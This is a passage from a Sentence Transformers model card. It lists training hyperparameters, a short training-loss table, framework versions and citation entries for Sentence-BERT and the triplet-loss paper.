- `remove_unused_columns`: True
- `label_names`: None
- `load_best_model_at_end`: False
- `ignore_data_skip`: False
- `fsdp`: []
- `fsdp_min_num_params`: 0
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
- `fsdp_transformer_layer_cls_to_wrap`: None
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
- `deepspeed`: None
- `label_smoothing_factor`: 0.0
- `optim`: adamw_torch
- `optim_args`: None
- `adafactor`: False
- `group_by_length`: False
- `length_column_name`: length
- `ddp_find_unused_parameters`: None
- `ddp_bucket_cap_mb`: None
- `ddp_broadcast_buffers`: False
- `dataloader_pin_memory`: True
- `dataloader_persistent_workers`: False
- `skip_memory_metrics`: True
- `use_legacy_prediction_loop`: False
- `push_to_hub`: False
- `resume_from_checkpoint`: None
- `hub_model_id`: None
- `hub_strategy`: every_save
- `hub_private_repo`: None
- `hub_always_push`: False
- `gradient_checkpointing`: False
- `gradient_checkpointing_kwargs`: None
- `include_inputs_for_metrics`: False
- `include_for_metrics`: []
- `eval_do_concat_batches`: True
- `fp16_backend`: auto
- `push_to_hub_model_id`: None
- `push_to_hub_organization`: None
- `mp_parameters`:
- `auto_find_batch_size`: False
- `full_determinism`: False
- `torchdynamo`: None
- `ray_scope`: last
- `ddp_timeout`: 1800
- `torch_compile`: False
- `torch_compile_backend`: None
- `torch_compile_mode`: None
- `include_tokens_per_second`: False
- `include_num_input_tokens_seen`: False
- `neftune_noise_alpha`: None
- `optim_target_modules`: None
- `batch_eval_metrics`: False
- `eval_on_start`: False
- `use_liger_kernel`: False
- `eval_use_gather_object`: False
- `average_tokens_across_devices`: False
- `prompts`: None
- `batch_sampler`: batch_sampler
- `multi_dataset_batch_sampler`: round_robin
</details>
### Training Logs
| Epoch | Step | Training Loss |
|:------:|:----:|:-------------:|
| 0.2393 | 500 | 0.2443 |
| 0.4787 | 1000 | 0.2228 |
| 0.7180 | 1500 | 0.2148 |
| 0.9574 | 2000 | 0.1666 |
### Framework Versions
- Python: 3.11.13
- Sentence Transformers: 4.1.0
- Transformers: 4.52.4
- PyTorch: 2.6.0+cu124
- Accelerate: 1.7.0
- Datasets: 3.6.0
- Tokenizers: 0.21.1
## Citation
### BibTeX
#### Sentence Transformers
```bibtex
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
```
#### BatchAllTripletLoss
```bibtex
@misc{hermans2017defense,
title={In Defense of the Triplet Loss for Person Re-Identification},
author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
year={2017},
eprint={1703.07737},
archivePrefix={arXiv},
primaryClass={cs.CV}
}
```
<!--
## Glossary
*Clearly define terms in order to be accessible across audiences.*
-->
<!--
## Model Card Authors
*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.*
-->
<!--
## Model Card Contact
*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.*
--> |